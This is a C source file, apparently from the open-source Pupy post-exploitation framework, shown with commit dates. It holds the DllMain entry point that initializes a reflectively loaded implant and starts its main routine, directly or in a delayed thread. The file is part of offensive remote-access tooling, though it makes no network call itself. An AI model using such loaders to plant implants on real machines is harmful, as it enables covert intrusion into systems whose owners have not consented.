pupy/client/sources/main_reflective.c

94 lines
2.4 KiB
C
Raw Normal View History

2015-09-21 19:53:37 +00:00
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
2015-09-21 19:53:37 +00:00
#include <windows.h>
#include "pupy_load.h"
#include "debug.h"
2019-09-07 15:51:30 +00:00
#include "ReflectiveLoader.h"
#include "Python-dynload.h"
#include "jni_on_load.c"
2015-09-21 19:53:37 +00:00
extern HINSTANCE hAppInstance;
#define REFLECTIVE_SPECIAL 5
HANDLE hThread = NULL;
2015-09-21 19:53:37 +00:00
//===============================================================================================//
DWORD WINAPI delayedMainThread(LPVOID lpArg)
{
2019-05-01 07:56:50 +00:00
Sleep(1000);
2019-09-07 15:51:30 +00:00
return execute(lpArg);
}
__declspec(dllexport)
VOID WINAPI Launch()
{
2019-09-07 15:51:30 +00:00
execute(NULL);
}
2015-09-21 19:53:37 +00:00
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
DWORD threadId;
2015-09-21 19:53:37 +00:00
BOOL bReturnValue = TRUE;
dprint("Call DllMain %d/%p\n", dwReason, lpReserved);
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
2019-09-07 15:51:30 +00:00
initialize(TRUE, NULL);
if (lpReserved == (LPVOID) 0x1) {
dprint("Special: Request for non-delayed thread\n");
2019-09-07 15:51:30 +00:00
execute(NULL);
return TRUE;
}
2019-09-07 15:51:30 +00:00
if (!hThread && lpReserved != (LPVOID) 0x2) {
dprint("Creating delayed thread from DllMain\n");
hThread = CreateThread(
NULL,
0, // dwStackSize
(LPTHREAD_START_ROUTINE) delayedMainThread, // lpStartAddress
NULL, // lpParameter
0, // dwCreationFlags (0==run right after creation)
&threadId
);
}
break;
case DLL_THREAD_DETACH:
2015-09-21 19:53:37 +00:00
break;
case DLL_PROCESS_DETACH:
dprint("Call deinitializer: %d\n", dwReason);
if (hThread) {
dprint("Wait until %p exited, reason: %d\n", hThread, dwReason);
WaitForMultipleObjects(1, &hThread, TRUE, INFINITE);
dprint("%p exited, completed\n", hThread);
}
2019-09-07 15:51:30 +00:00
deinitialize();
break;
}
dprint("Call DllMain - completed\n");
return bReturnValue;
}